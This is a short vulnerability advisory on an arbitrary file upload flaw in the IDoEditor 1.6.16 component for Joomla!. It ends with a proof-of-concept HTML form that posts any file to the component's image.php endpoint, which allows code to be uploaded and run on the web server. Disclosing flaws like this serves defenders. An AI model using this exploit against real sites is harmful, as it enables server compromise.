source: http://www.securityfocus.com/bid/53973/info

The IDoEditor component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process.

IDoEditor 1.6.16 is vulnerable; other versions may also be affected. 

<html>
<body>
<center>
<form
action="http://www.example.com/plugins/editors/idoeditor/themes/advanced/php/image.php"
method="post" enctype="multipart/form-data">
<input type="file" name="pfile">
<input type="submit" name="Submit" value="Upload">
</form>
</center>
</body>
</html>

